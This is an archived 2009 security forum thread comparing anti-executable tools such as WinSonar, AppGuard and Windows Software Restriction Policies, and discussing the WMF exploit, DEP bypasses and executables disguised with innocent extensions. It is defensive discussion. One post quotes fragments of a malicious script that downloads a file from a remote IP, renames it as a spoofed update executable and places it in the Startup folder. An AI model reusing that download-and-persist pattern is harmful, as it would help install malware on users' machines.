PDA

View Full Version : Anti-Executables - List of


StevieO
September 4th, 2009, 03:59 AM
Here's a list of some AE's, please feel free to add to it with any others you have heard, or know, about.

The only i've used is WinSonar, which never failed me in spite of frequent attempts with all manner of Malware over several years.



FREE


Trust-No-Exe - http://www.beyondlogic.org/solutions/trust-no-exe/trust-no-exe.htm

Winsonar - http://digilander.libero.it/zancart/winsonar.html


PAID


Anti-Executable - http://www.faronics.com/html/antiexec.asp

Executable lockdown - http://www.horizondatasys.com/169602.ihtml

Fortres 101 - http://www.fortresgrand.com/products/f101/f101.htm

Criss
September 4th, 2009, 05:39 AM
Appguard is also an anti-executables if i am not wrong, only that it also got feature to "protect" applications.

Trespasser
September 4th, 2009, 06:20 AM
Let's not forget Software Restriction Policy (SRP). :). Script Defender as well I believe.

jmonge
September 4th, 2009, 10:38 AM
-{ Quote: "Here's a list of some AE's, please feel free to add to it with any others you have heard, or know, about.

The only i've used is WinSonar, which never failed me in spite of frequent attempts with all manner of Malware over several years.



FREE


Trust-No-Exe - http://www.beyondlogic.org/solutions/trust-no-exe/trust-no-exe.htm

Winsonar - http://digilander.libero.it/zancart/winsonar.html


PAID


Anti-Executable - http://www.faronics.com/html/antiexec.asp

Executable lockdown - http://www.horizondatasys.com/169602.ihtml

Fortres 101 - http://www.fortresgrand.com/products/f101/f101.htm" }-
is the winsonar 2009 ready ?thanks

StevieO
September 4th, 2009, 02:29 PM
Criss

I forgot about Appguard, Thanx.

Trespasser

SRP isn't really an App, but yeah i guess you can include it. Script Defender, yes that's a good one to add.

jmonge

Hi,

Don't know about wnsonar 2009 lol, but the version that's available right now listed as WinSonar 2008, as far as i'm aware is bug free etc. So i guess it doesn't need changing. I suppose he could update the year though !

If you try it let us know what you think will ya.

zopzop
September 4th, 2009, 04:08 PM
@ssj100]Man

I've heard of this program before but I never tried it because I thought the GUI looked "ugly" :D. But it seems like it's a small, non-resource hogging program.

But how does it work? Does it scan your system when it's installed and add all the executables to a white list, then deny all new/unknown exes?

jmonge
September 4th, 2009, 04:25 PM
-{ Quote: "Criss

I forgot about Appguard, Thanx.

Trespasser

SRP isn't really an App, but yeah i guess you can include it. Script Defender, yes that's a good one to add.

jmonge

Hi,

Don't know about wnsonar 2009 lol, but the version that's available right now listed as WinSonar 2008, as far as i'm aware is bug free etc. So i guess it doesn't need changing. I suppose he could update the year though !

If you try it let us know what you think will ya." }-the developer told me that the 2009 version is almost ready:thumb: sure i will let you know

Gullible Jones
September 4th, 2009, 04:26 PM
Re Winsonar - does the process monitoring use hooking or polling?

jmonge
September 4th, 2009, 04:27 PM
-{ Quote: "Re Winsonar - does the process monitoring use hooking or polling?" }-hooking;)

Gullible Jones
September 4th, 2009, 04:28 PM
-{ Quote: "hooking;)" }-

BOO YA! Downloading right now.

jmonge
September 4th, 2009, 04:28 PM
for polling you need winpatrol;)

zopzop
September 4th, 2009, 07:46 PM
Thanks for the info ssj100. My only real complaint against it (since I haven't trialed it in years) was the looks but if you say it works great, I trust you :D

Since jmonge said that a new release is coming soon I'll wait for that and try it out.

Is there an online users manual for WinSonar? I'd like to read up on it before I try it to see how it works.

PS StevieO, you may want to include Online Armor Free and Comodo Internet Security to your list of free apps. They can be setup as default deny anti-executables :)

Trespasser
September 4th, 2009, 11:56 PM
-{ Quote: "

Trespasser

SRP isn't really an App, but yeah i guess you can include it. Script Defender, yes that's a good one to add.
" }-

Nothing was mentioned in your original post about our choices being an application, StevieO, :), though I did "install" SRP on my sisters XP Home thanks to tlu's wonderful instruction.

Later...

StevieO
September 6th, 2009, 02:40 AM
ssj100

Glad you like it, i wish more people would try it as i'm sure they would too.

jmonge

It's good to know that the 2009 version is almost ready, Thanx. I wonder what the new changes will be ?

In a previous version he changed the colour from blue to yellow, which didn't look as nice. I contacted him and asked if he'd change it back to blue, which thankfully he did.

zopzop

There isn't an online users manual for WinSonar, it is included in the App as a help file though. You could install it, save the Help file to read, and uninstall it straightaway if you want to wait for the new version. Quite honestly i think you'ld enjoy using right now.

I'm running Online Armor Free at the moment, but i'm thinking of disabling the HIPs and just using the FW, and going back to WinSonar as i found it brilliant at stopping Malware etc before. Plus it doesn't need multiple option settings and Popups to work effectively. It also has a bunch of very useful tools included, like a Port Scanner for eg.

Trespasser

That's right i didn't, maybe it wasn't clear enough ! Good to hear about your sisters setup working for her.

jmonge
September 6th, 2009, 02:48 AM
i always send this developer emails and he keep me inform all the time;) very soon i say

Fly
September 6th, 2009, 09:01 AM
This has probably been discussed before, but how secure would it be to use anti-executable software without additional security software, except for a firewall ?

Assuming the OS is Windows XP Home Edition SP2, IE 7 (improved security settings) or 8 or perhaps Opera, common sense and keeping software up to date ?

Common sense would be browsing the web with some distrust, never installing files from the internet without checking them with Virustotal/Jotti, not opening attachments of spam emails. My ISP checks emails for viruses.

So, that would be a configuration without an AV or other anti-malware software.

StevieO
September 6th, 2009, 06:25 PM
jmonge

Ok good news.

Fly

Well nobody can say 100%, but i used to run WinSonar/ZoneAlarm/BitDefender then Avira and only had one intrusion over several years. But that was due to my not scanning one new App before i installed it. In all that time i tested hundreds of fresh Malware, often daily, and Nothing got through ever.

This was on 98SE and i did also have IE6 + 98SE locked down as much as possible. For eg, i disabled ActiveX/Scripting/Java/iframes etc.

I'm thinking of going back to a similar setup, so i'd say it's pretty secure.

Joeythedude
September 7th, 2009, 11:57 AM
-{ Quote: "This has probably been discussed before, but how secure would it be to use anti-executable software without additional security software, except for a firewall ?

Assuming the OS is Windows XP Home Edition SP2, IE 7 (improved security settings) or 8 or perhaps Opera, common sense and keeping software up to date ?

Common sense would be browsing the web with some distrust, never installing files from the internet without checking them with Virustotal/Jotti, not opening attachments of spam emails. My ISP checks emails for viruses.

So, that would be a configuration without an AV or other anti-malware software." }-

Answer = Very.

Just ask yourself how you could be infected :)

Fly
September 7th, 2009, 04:28 PM
-{ Quote: "Answer = Very.

Just ask yourself how you could be infected :)" }-

I recall reading an 'anti-executable' program does not offer 100 % protection. It has been a long time, I don't remember the pitfalls/vulnerabilities ... I guess I'm asking.

Non-executable infected files somehow infecting a computer, or aiding in the infection of a computer. Some years ago an AV I used asked if I wanted to 'allow process X to inject code into file 'Y.dll'.

I'm really not an expert. :)

Joeythedude
September 7th, 2009, 06:23 PM
Sorry , I didn't mean to seem smart.

Most Anti-Executable applications have some dll blocking/protection as well.
Even without it they work really well, as most of today's drive-by-downloads are simple bold.exe files.
This is really the most thing worth keeping in mind in any security discussion.
Nothing is 100%.

mark.eleven
September 7th, 2009, 11:13 PM
It seems like all the free anti-executables softwares available cannot run in Vista?

With all the good words on WinSonar, I thought of trying it, but when I looked through their website, it's not indicated available for Vista.

Anyone tried WinSonar on Vista? Any anti-executables for Vista, free preferable.

jmonge
September 7th, 2009, 11:16 PM
-{ Quote: "It seems like all the free anti-executables softwares available cannot run in Vista?

With all the good words on WinSonar, I thought of trying it, but when I looked through their website, it's not indicated available for Vista.

Anyone tried WinSonar on Vista? Any anti-executables for Vista, free preferable." }-
AppGuard

dw2108
September 8th, 2009, 02:08 AM
If you edit WinSonar's white list to disallow rundll32.exe, and regserv32.exe, and a few other exe's and put some .inf files on the black list, it becomes a good security app.

Dave

Reimer
September 8th, 2009, 02:25 AM
any reason why someone should choose an app like Winsonar over SRP?

mark.eleven
September 8th, 2009, 03:11 AM
-{ Quote: "any reason why someone should choose an app like Winsonar over SRP?" }-

I think XP Home and Vista Home versions does not have SRP.

Fly
September 8th, 2009, 05:58 AM
-{ Quote: "Not sure if you've read my recent posts, but for example, AE 2 would fail to protect against any spontaneous malware scripting or command prompt executions (remember Rmus pointed out that AE 2 only protected against binary executables).

Also, if the anti-executable has a trusted folder area (eg. C:\Program files), this would open up vulnerability to exploits like that .wmf one:
1. Download a .wmf file on to your real system - remember, you don't even need to open the file for the exploit to run
2. The exploit drops a malware executable into C:\Program files
3. The malware executable successfully runs and infects your computer (since C:\Program files folder is white-listed).

I think Winsonar is perhaps stronger than AE 2 given it only trusts executables that you specifically configure it for. AE 3 is more like this too." }-

Good point, thanks.

Rmus
September 8th, 2009, 10:43 AM
-{ Quote: "any reason why someone should choose an app like Winsonar over SRP?" }-1) SRP provides granular control over many functions of the operating system. Applications like Winsonar do one thing: White List all executables installed and prevent anything else from running without permission. The user will choose according to how much "micro-management" is desired.

2) In my case in working with families, SRP (assuming they have XP PRO) requires much more technical knowledge and hands-on involvement than is practical. A simple Anti-Execution product is set-and-go.

----
rich

Pedro
September 8th, 2009, 11:17 AM
I had the impression Winsonar was a poller.
That is, it checks from time to time for new processes already running to see if they are on the list. It would then kill those not on that list (provided it still can).

I only tried it once and never looked at it again for the above reason. It doesn't block, it checks processes.

If i'm wrong, i may check it out again.

pbw3
September 8th, 2009, 12:07 PM
-{ Quote: "1) SRP provides granular control over many functions of the operating system. Applications like Winsonar do one thing: White List all executables installed and prevent anything else from running without permission. The user will choose according to how much "micro-management" is desired.

2) In my case in working with families, SRP (assuming they have XP PRO) requires much more technical knowledge and hands-on involvement than is practical. A simple Anti-Execution product is set-and-go.

----
rich" }-
Do you still find that (with helping others etc) if running with LUA too..??

I have found, with LUA, that SRP can be - and if implemented "a la Mechbgon" is - pretty much set and forget.. ie if it is in C:\Windows or C:\Programs, it is allowed, if not, it isn't.. ie couldn't be simpler if happy to adopt the concept of anti-exec, and without getting complicated..

And if not using Pro or Business etc (ie using Home), then Sully's PGS program should handle it pretty well.. The last time I looked in the PGS screen shots (unless I was mistaken?), there seemed to be a single button option for the typical LUA / SRP "default deny" set up..

Peter

Rmus
September 8th, 2009, 11:21 PM
-{ Quote: "I had the impression Winsonar was a poller." }-Thanks, Pedro, for the clarification. I appear to have misspoke, thinking Winsonar is an anti-executable program, since it's on this list. I haven't tried it, so I shouldn't have mentioned it).

----
rich

Rmus
September 8th, 2009, 11:23 PM
-{ Quote: "And if not using Pro or Business etc (ie using Home), then Sully's PGS program should handle it pretty well.. " }-Those I'm thinking of would never know about this program, and since I'm not familiar with it, I could not recommend it. Besides, most I know are happy with having Anti-Executable, and wouldn't want to take the time to learn something else.

----
rich

Rmus
September 8th, 2009, 11:41 PM
I don't know about WMF, but I also don't know anyone who trusts DEP. Anyway, Conficker easily bypassed it:

How Conficker makes use of MS08-067 (PDF)
http://www.milw0rm.com/papers/320
-{ Quote: "For DEP bypassing, Conficker makes use of ZwSetInformationProcess() function to disable DEP in runtime mode. After that, Conficker redirects control to Shellcode on stack." }-

----
rich

Rmus
September 8th, 2009, 11:57 PM
Some information on WMF from Dec/2005:

Update on Windows WMF 0-day
http://isc.sans.org/diary.html?storyid=975
-{ Quote: "Regarding DEP (Data Execution Protection) of XPSP2, the default settings of DEP will not prevent this exploit from working. Comments we have received in the meantime suggest that if you enable DEP to cover all programs (as documented on Microsoft Technet ), the WMF exploit attempt will result in a warning and not run on its own. Don't feel too safe though, we have also received comments stating that a fully enabled DEP did not do anything good in their case.

While the original exploit only refered to the Microsoft Picture and Fax Viewer, current information is that any application which automatically displays or renders WMF files is vulnerable to the problem. This includes Google Desktop, if the indexing function finds one of the exploit WMFs on the local hard drive - see the F-Secure Weblog mentioned above for details." }-
----
rich

trismegistos
September 9th, 2009, 12:26 AM
@ssj100: you can test those non-virulent wmf exploits, uploaded by StevieO, yourself.

From my testing, with hardware DEP enabled, with all applications covered. Out of the many wmf exploits/POCs samples, there were only two instances where Hardware DEP prompted some memory violations. Twice instances, where comodo memory firewall prompted stack or heap(?) overflows. But as always, the rest of the payloads where all covered by HIPS and sandboxie(if those were run under the sandboxed folder with sandboxed explorer.exe) and perhaps, ofcourse, any antiexecutable protections including LUA-SRP if those exploits are purely of the usual 'download and execute' types.

trismegistos
September 9th, 2009, 01:39 AM
-{ Quote: "The question is whether the simple combination of SRP + DEP would prevent all forms of that .wmf exploit." }-
Nope. In a targetted attacks, we may never know if a hacker will use a shellcode other than the download and execute types. Unless you lockdown almost everything else even the cmd.exe and rundll.exe. Plus save your paranoia, wmf vulnerability was already patched.

trismegistos
September 9th, 2009, 03:02 AM
-{ Quote: "I'm talking in the context of Sandboxie too though. If you lockdown all the malware attack vectors with Sandboxie, and use SRP + DEP (set to all programs), would that block all those .wmf exploits? I'll give you the only possible scenario where Sandboxie + SRP + DEP could be bypassed:
1. Download a new file from the internet or whatever
2. Recover this new file out of the sandbox, and on to your eg. desktop (which isn't sandboxed)
3. .wmf exploit bypasses SRP + DEP without the need for opening the file?

Well, who's to say that another similar exploit could be lurking around? But yes, it is extremely rare. I'm just trying to learn a bit here mate." }-

I agree. There may be some undisclosed or undiscovered vulnerabilities concerning image files.

Under that scenario(recovering files out of the sandbox), Hardware DEP(set to all programs) is weak and easily bypassed as the wmf exploits I have tested. I don't know about SRP(I haven't used it) depends upon the configurations perhaps a lockdown type which limits usability. he he

Perhaps, you need a lite virtualiser (with HIPS functionality or AE) for such a scenario or open them in your virtual environment(much safer- bluepill is still theoretical).

dw2108
September 9th, 2009, 03:12 AM
-{ Quote: "any reason why someone should choose an app like Winsonar over SRP?" }-
NO! But Winsonar is fun!

@Rmus I found it easy to use on XP Pro with files other than exe's.

Dave

trismegistos
September 9th, 2009, 05:09 AM
-{ Quote: "(Moderators please feel free to move our posts on .wmf into another thread. Apologies for any inconvenience).

By the way, regarding the various .wmf exploits, all of them seem to require downloading extra files on to your system in order for it to execute fully and actually cause harm. Given that all my internet facing applications (like browsers) are forced to run sandboxed, wouldn't this exploit fail miserably?

Also, my reading on .wmf exploits show that Hardware DEP blocked it all. There's just no proof that a properly enabled Hardware DEP (please check to ensure Hardware DEP is enabled: http://support.microsoft.com/kb/912923/en-us, http://user.cs.tu-berlin.de/~normanb/) failed to block any of those .wmf exploits. Software DEP fails for sure, but not Hardware DEP.

Worse come to worse, I think a software firewall would control and block any outgoing connections anyway of any attempts to call out. And if the .wmf exploit executed code that used eg. iexplore.exe to download the payload...well, then it would be all sandboxed (since iexplore.exe is forced to run sandboxed) anyway, and would do no harm (and would be easily blocked with the restrictions in place)." }-
You can test if your hardware processor support Hardware DEP... http://www.grc.com/securable.htm

I have tested hardware DEP enabled system (unpatched from this wmf vulnerability), and it failed miserably with these kind of wmf exploits. Much more if it's just software DEP.

pbw3
September 9th, 2009, 05:28 AM
-{ Quote: "Those I'm thinking of would never know about this program, and since I'm not familiar with it, I could not recommend it. Besides, most I know are happy with having Anti-Executable, and wouldn't want to take the time to learn something else.

----
rich" }-
Totally understand, and point taken..

pbw3
September 9th, 2009, 05:43 AM
-{ Quote: "You don't even need to be in LUA for SRP to be just as effective. SRP in default configuration only allows executables from C:\Program files and C:\Windows to run. Therefore, any new executable that tries to run from the internet or any downloaded executable will be blocked from running easily." }-
I am sure you are right, and I only raised the question (to Rich, in response to preferring the simplicity of an Anti-Exec) because I found my particular adoption not to be that technically difficult to implement (using Business / Pro), and more crucially, once implemented, very much to be "set and forget".. ie, as regards any ongoing involvement etc, I have not "needed" to switch SRP off or adjust the default set-up at all in 9 months, and nothing has fallen over in that time or not worked as a consequence..

trismegistos
September 9th, 2009, 06:48 AM
-{ Quote: "Can you describe how it failed? And how do you mean by "much more"? If it fails, it fails right? Also, what do you notice actually happens. Sure, code could be leaked out via the exploit, but what can the exploit actually do with a software firewall installed and Sandboxie forced to run browsers etc sandboxed?

From what I gather, Stevio only gave .wmf test files, and not true malware ones. We need to test true malware ones that actually try to do harm right?

Also by the way, there's an easier way to know if your processor supports DEP - just look for an error-type message when you're checking if it's enabled in Advanced options. If there is, your processor doesn't support it." }-
I understand that you are going to test the live malwares(c/o stevieo) containing those wmf exploits. Keep us posted.

I have only tested the POCs. Simple coding could transform them into a simple malware by just changing the shellcodes into something malicious like perhaps messing up the MBR. he he

To your question, how Hardware DEP failed...
simple: the payloads executed and was not prevented except for two.

trismegistos
September 9th, 2009, 07:10 AM
-{ Quote: "I think Hardware DEP only fails in the event that you recover the malicious file on to your real system and run it from there. Hardware DEP protects against exploits via the browser etc.

However, you are still not answering my query as to how these exploits bypass eg. a software firewall. If they need to call out to function and cause harm, wouldn't the firewall give a pop-up?

EDIT: I see your point on the possibility of simple coding transforming into a malware that messes up the MBR. I think any classical HIPS would save you here though - have you tested the .wmf exploits against classical HIPS? I know that even in default configuration, Defense+ does not allow any executable to execute another executable without asking (even if it's a "trusted application"). Would this on its own block it all?" }-
Whether you recover the files or test within the sandboxed browser, Hardware DEP should prevent this types of exploits as it was advertised as a workaround back then during 2005. So those relying only on Hardware DEP as protections against arbitrary remote code executions and buffer overflow vulnerabilities should rethink.

I am not a malware writer or some hacker whether black hat or whitehat. I'm not even a scriptkiddie. How I wish I am in the league with Rmus, Windchild, Sully or Aigle. So, my replies will all be purely speculations from the various researches and some testings of only a few samples of POCs.

So, depending on how you configure the application controls of your firewalls, you could be bypassed. So, a very permissible rules will not even show a pop up. An invisible application window of your web browser to download a trojan or redirect to some malicious site or to a trusted site but with sql injected malware codes or other methods will bypass some firewalls. Ofcourse, if the browsers was forced runned sandboxed, the chain will be broken. A properly configured firewall will surely give you a pop up.

btw: as arran and aigle suggested, you can set to change your default image viewer to something thirdparty so that you can forced them to run sandboxed or you can changed your windows explorer to some thirdparty shell and then forced that to run sandboxed. those are the possibilities for a workaround on such a paranoid scenario aside from running a lite virtualiser+AE/HIPS combo or a virtual machine. you can opt for a Sandboxie+AE/HIPS combo if you are that paranoiac like me. :)

anyways, there is no news of wmf like vulnerabilities so you better have a goodnight sleep and take your fears to rest and just rely on sandboxie only appoach. :)

Edit: As I have posted earlier on this thread, all the payloads of the test wmf exploits were intercepted by a classical HIPS except in one instance where the windows explorer hung(would that mean, a failure?). Running them under a sandboxed windows explorer, the payloads were all sandboxed.

Rmus
September 9th, 2009, 11:34 AM
I am not a malware analyst, as is Ade Gill (user=fcukdat) for example. I have no expertise nor interest (most of the time) in what malware does if allowed to run. I'm more concerned with keeping the malware from running in the first place. Hence, my interest in the exploits in the wild, and preventative measures.

The reason I and others don't trust DEP is that it hasn't proven to be reliable (WMF in 2005, Conficker in 2008/2009).

As far as Shellcode in WMF files (or in any other image/document file): Shellcode can do anything, and this was argued to death in 2005 regarding WMF.

Yet nothing except 'download and execute' code ever emerged in exploits in the wild. Why? Of what use to malware people would trashing a system be?

Where is the money to be made? It's made in getting a trojan executable onto the system, installing a keylogger/password stealer, and getting it part of a botnet.

Those concerned about Shell Code and Buffer Overflow can just get a product that deals specifically with that threat, and be done with it.

Otherwise, it's endless speculation and hypothetical scenarios that can keep you in a constant state of worry. Afterall, new vulnerabilities are found daily. How many make their way into a working exploit in the wild?

Watching exploits in the wild keeps you alert and uptodate on what is going on in the malware world. Not much has changed, really.


Rogue security product exploits, while more sensational in the social engineering tactics used in current exploits, have not deviated from the two basic attack vectors (methods) in use for several years.


Buffer overflow exploits in image and other files have not changed their methods since the ANI file exploit from 2004, through WMF, HTA, PDF, SWF, etc. Different files, same type of exploit. New file types will be found where shell code can be inserted, and do the same thing.


----
rich

Rmus
September 9th, 2009, 04:51 PM
-{ Quote: "Anyway, if the payload file attempted to download anything using other means, the software firewall should pop-up and block it easily. " }-This would depend on the particular exploit. The WMF used IE and for IE users, IE was trusted and did not block the outbound attempt to connect to the malware server. I tested this with numerous URLs.

On the other hand, PDF exploits use the PDF reader to connect out, and that would be flagged by the firewall, assuming the user hasn't granted it free access to the internet.

-{ Quote: "What products would specifically deal with these threats? [buffer overflow] PrevxHelp suggested Comodo Memory Firewall (which is in CIS). Any others?" }-Sorry, I don't know of any except that one which has been mentioned by others.

-{ Quote: "As I said before, AE would fail against exploits that drop payloads in the form of scripting attacks or command prompt attacks. I think only the classical HIPS will be reliable in blocking these." }-Can you give me an example of such an exploit?

thanks,

----
rich

Joeythedude
September 9th, 2009, 06:17 PM
I think you'll be left waiting for that example:)

trismegistos
September 10th, 2009, 09:57 AM
Off-topic:
@rich aka rmus: here is an exploit using usb autorun and pif file created by a clever malware masquerading as a cascading style sheet, discovered by aigle... http://www.wilderssecurity.com/showthread.php?t=252508

Joeythedude
September 10th, 2009, 11:00 AM
-{ Quote: "Thankfully, I can't. But that doesn't mean it doesn't exist and could be inflicting horrible damage to thousands out there as we type." }-

I think it makes more sense to focus on what have been used as real threats.
Its a more managable focus. Otherwise your attempting to second guess hackers at every turn and trying out every POC you find.

Saying that AE doesn't work against script attacks is true.
But when there is no evidence they are used anymore its a bit irrelevent.

Take a look through all Matts video's for example.
All exploits I saw would have been blocked by an AE product.
I saw none that were a scripting exploit.

I try to keep the casual browser in mind when posting here.
Now , If I was a casual browser, trying to make sense of all these threats, I might think they that scripts and unwanted exe's are equally important threats.
When the evidence is that they are not.

Good post which touchs on this among other stuff here.

http://www.wilderssecurity.com/showthread.php?t=252253

Rmus
September 10th, 2009, 12:02 PM
-{ Quote: "Off-topic:
@rich aka rmus: here is an exploit using usb autorun and pif file created by a clever malware masquerading as a cascading style sheet, discovered by aigle... http://www.wilderssecurity.com/showthread.php?t=252508" }-It seems to me that any exploit that uses autorun is easily nullified if you've got secure USB polices and procedures in place.

----
rich

trismegistos
September 10th, 2009, 02:07 PM
-{ Quote: "It seems to me that any exploit that uses autorun is easily nullified if you've got secure USB polices and procedures in place.

----
rich" }-
Precisely.
But what was interesting with this exploit is that it is similar with the wmf exploit. Aigle and company were perplexed why HIPS like Comodo, Online Armour etc never alerted the interprocess communication between the pif file with the trusted process. So, this pif file has an embedded code which uses either buffer overflow vulnerability or remote code execution vulnerability. Neither hardware DEP nor comodo's memory or buffer overflow protections didn't give a prompt.
And since you are asking for some exploits which is runned under command prompt or cli or perhaps under a web browser since the main malware is a cascading style sheet file not an exe which later spawned an autorun and pif file; I thought you will consider this interesting. So, I get it you are not interested on how malware exploit works but on how to prevent it in the first place.
Anyways, this pif file vulnerability and exploit again is like the Emperor has no clothes, same old, same old as you used to tell. As always, simple preventive measures wins the day.

Rmus
September 10th, 2009, 03:55 PM
-{ Quote: " So, I get it you are not interested on how malware exploit works but on how to prevent it in the first place." }-That's not completely correct. I continue to be fascinated with the the Conficker worm and how it was able to propagate itself. One of the ironic aspects of this exploit is that it should have been the easiest to prevent (notwithstanding the fact that the vulnerability it exploited had been patched 2 months prior to Conficker's emergence on the playing field):


Conficker.A required nothing more than a properly configured firewall, with special attention given to the user's file sharing permissions.


Conficker.B didn't even require any security product to block -- only proper procedures/polices regarding USB.


Looking again at aigle's post, I see that it starts with a .css file. Aigle, who is one of the best in sniffing out interesting malware, manually executes the file so that he can check out how a security product handles the exploit.

I would be interested in this if the .css file were contained in an exploit that either


ran by remote code execution


arrived in some way that attempted to trick the user into running the file

Otherwise, under what conditions would a .css file get downloaded onto my computer, and why would I execute it?

As a matter of fact, this recalled to mind from 2006 where a .css file reported to be an executable was cached from a web site. It sat in the cache and did nothing. On my computer, the .css file extension is associated with Front Page, so in testing, Front Page attempted to open the file:

212104

Same result if attempting to open from the Command Line:

212105

This turned out to be a packed executable which was an online game stealer. I had no interest in letting it run -- I'm not set up to test like that any way.

Evidently this was to have been used in some exploit, but was never determined what it was.
----
rich

Windchild
September 10th, 2009, 04:50 PM
-{ Quote: "Precisely.
But what was interesting with this exploit is that it is similar with the wmf exploit. Aigle and company were perplexed why HIPS like Comodo, Online Armour etc never alerted the interprocess communication between the pif file with the trusted process. So, this pif file has an embedded code which uses either buffer overflow vulnerability or remote code execution vulnerability. Neither hardware DEP nor comodo's memory or buffer overflow protections didn't give a prompt.
And since you are asking for some exploits which is runned under command prompt or cli or perhaps under a web browser since the main malware is a cascading style sheet file not an exe which later spawned an autorun and pif file; I thought you will consider this interesting. So, I get it you are not interested on how malware exploit works but on how to prevent it in the first place.
Anyways, this pif file vulnerability and exploit again is like the Emperor has no clothes, same old, same old as you used to tell. As always, simple preventive measures wins the day." }-

I've not looked at the .css file in question, but I would still bet that it's not a real .css file at all. It's most likely just a normal PE executable file that has simply been renamed to something harmless looking like "colorset.css". That is done all the time, to fool users, malware scanners and all sorts of things to think the file is innocent instead of being a normal executable that could be anything from nice game to nasty rootkit. The file extension doesn't matter at all: if code that is already running (like cmd.exe in this case, or exploit shellcode in some other case) wants to execute a file with a .css extension as a program, it can do that (cmd.exe calls CreateProcess on the file, and if it looks like a program, it is executed even if the file extension is .txt or .css or anything). Simply open the supposed .css file in a hex editor and check the headers - if there's an executable header, then it's a program, not a cascading style sheet at all.

Once executed, the program can then do what it wants, like create autorun.infs or other files that have innocent extensions but are really programs.

In this case, I wouldn't be quick to assume there's any exploit at all, as in, a vulnerability that is being exploited. I don't think anything suggests there's a buffer overflow or anything involved. The .css and .pif files are both likely just normal executables with a funny name to make them look innocent. If they can do something HIPS shouldn't allow, then there's probably some bypass of the HIPS products that has been discovered and is taken advantage of by the malware. The things HIPS attempts to do are extremely complex, and it would be a great wonder of the world if they were able to do a flawless job at it.

Rmus
September 10th, 2009, 07:12 PM
-{ Quote: "But what was interesting with this exploit is that it is similar with the wmf exploit." }-Remember, that a malcrafted file can do nothing without the proper program to execute the code. Clicking on the file, or running it by remote code execution from a web exploit calls the program associated with the particular file, and the exploit code runs.

The day that the wmf exploit surfaced back in 2005, I went to the site and the exploit did not work. Later that day as information trickled in, we learned that the program associated by default with .wmf is the Windows Picture Viewer. I checked my computer and I didn't have that program. It didn't come until WinXP and I had Win2K. The filetype .wmf wasn't even registered on Win2K.

So, I configured my XP Laptop to test, went to the site again, nothing. For some reason, the exploit would not trigger in Opera. But using IE6 brought results.

So, we forget sometimes that often, many things have to come together in order to get infected. This is true of PDF and Flash exploits, where a specific version of a program is necessary for the exploit to trigger.

Later, as the WMF PoC examples that StevieO referred to were released, we found out that other image programs that used a particular DLL were also vulnerable. If they didn't, you would get an error when attempting to open the file:

212120

A .css file is a plain text file that requires some type of text editor. Here, I open one in Notepad:

212121

In the frontiers.css file I referenced above, since it is really an executable, we see the binary code when opened in Notepad, but the code cannot execute because Notepad is a plain text editor:

212122

That is why the only way aigle can get the .css file to execute its code is from the Command Line, for reasons Winchild has explained above, and it can be any file extension, as he said.

To use this file in an exploit would require some way of getting cmd.exe to run the file. This is true of any spoofed executable: some means by remote code execution is necessary to get the file to work. Here is an early such exploit, using an executable spoofed as a .gif file:

The web-based code first downloads the .gif file:

obj_msxml2.open("GET","http://85.255.1xx/cnte-oiduuyes.gif

Then, the code renames the file as an .exe, and copies the file to a start up folder:

dstart=obj_WScript.SpecialFolders("Startup");

var fn = daustart+"\\Update_0802_KB110327.exe";

obj_adodb.SaveToFile(fn,2);

then the file is executed each time the computer reboots.


----
rich

Rmus
September 10th, 2009, 08:45 PM
In a web embedded attack, the files go to the browser cache or designated download directory. The WMF exploit triggered through IE6 downloaded to the Temporary Internet Files directory:

212133


----
rich

trismegistos
September 10th, 2009, 09:10 PM
Thanks to windchild for the input. As I have already said, this malware simply masqueraded as an innocous file. I remember Prevxhelp said that with such a file to do its dirty job, the system itself should already be compromised in the first place. Rmus had said that the initial exploit and the succeeding exploit would always took advantage of a remote execution vulnerability(or buffer overflow vulnerability) or active content or scripting(activeX, javascripts, vbscritpt via cross-site scripting or injected codes or redirections to a malware site) or plugins on the webbrowser.

Pardon me, Rmus, for the annoyance and some inconvenience on my part. Hats off as always for the nice, clear presentations! Thanks to both of you for the clarifications and putting this on a proper perspective. The mods could transfer these OT's to it's proper thread. Anyways, this is somewhat related, which provides some kind of a backgrounder if default-deny policies like the use of AE could mitigate such malware attacks.

arran
September 10th, 2009, 09:23 PM
Just thought I'd pop in and say hi. while it is a good secure policy of denying any thing unknown from running in the first place it is also important to make sure your Anti-Executable HIPS intercepts all types of Executables.

Adding another security layer on top of the already near 100 percent protection policy of denying all unknown executables from running. Is with MD you can also deny the "CREATION" of all executable files. If no such file exists in the first place how they execute and run?? its A good safe guard in case for any reason should you Anti-Executable program ever get disabled.

212135

Rmus
September 10th, 2009, 11:17 PM
Normally, I don't download and run malware, but in that case, knowing what the code in the WMF file did, I tried a few at that time. All that happened was that Windows Explorer crashed. I never got one of the files to execute from the hard drive.

As for your other questions about malware: I don't know. You will have to ask a malware researcher.

----
rich

nick s
September 11th, 2009, 12:14 AM
-{ Quote: "I've not looked at the .css file in question, but I would still bet that it's not a real .css file at all. It's most likely just a normal PE executable file that has simply been renamed to something harmless..." }-
That's indeed the case with b.css. It has some interesting properties once you change its extension...

trismegistos
September 11th, 2009, 01:10 AM
-{ Quote: "Normally, I don't download and run malware, but in that case, knowing what the code in the WMF file did, I tried a few at that time. All that happened was that Windows Explorer crashed. I never got one of the files to execute from the hard drive.
" }-
About the test wmf exploits c/o stevieo, you've got to test it with a clean install from an old windows xp cd.
In a patched system, those exploits will not work except some instance where the windows explorer will crash. Those test exploits will call out either "notepad" or "calculator". Interesting observation was just hovering the mouse on one .tif file without even clicking will call out the application utility, "calculator".

Rmus
September 11th, 2009, 01:46 AM
I could get the test.wmf files to launch the Calculator. I just couldn't get any of the real malware.wmf files to execute on disk -- only by remote code execution from the web site via the Windows Picture Viewer.

----
rich

pbw3
September 11th, 2009, 01:44 PM
-{ Quote: "By the way, I've got a question (which is perhaps directly related to this thread topic for once haha).

What are the executable file types that malware can use to execute? I heard AE 2.3 covered over 90 different file types? Are there really 90 different exeuctable file types that malware can use?

I know some of the main ones off the top of my head (sorry for this pathetic list):
.exe (most common?)
.sys
.bat
.dll ?(this isn't really a true executable right?)

PrevxHelp care to comment? I recall Comodo had their own list of "executable" file types, and they covered at least 7 different types from memory. SRP covers quite a few more, and includes a generic windows scripting file type. It even covers the shortcut file type (the only one I've removed), and also covers .html (perhaps to prevent users going to a malicious web-site?) from memory." }-I think this is the list that Microsoft includes specifically under SRP extensions (with LNK removed for SRP implementation):

ADE: Microsoft Access Project Extension
ADP: Microsoft Access Project
BAS: Visual Basic Class Module
BAT: Batch File
CHM: Compiled HTML Help File
CMD: Windows NT Command Script
COM: DOS Command File
CPL: Control Panel Extension
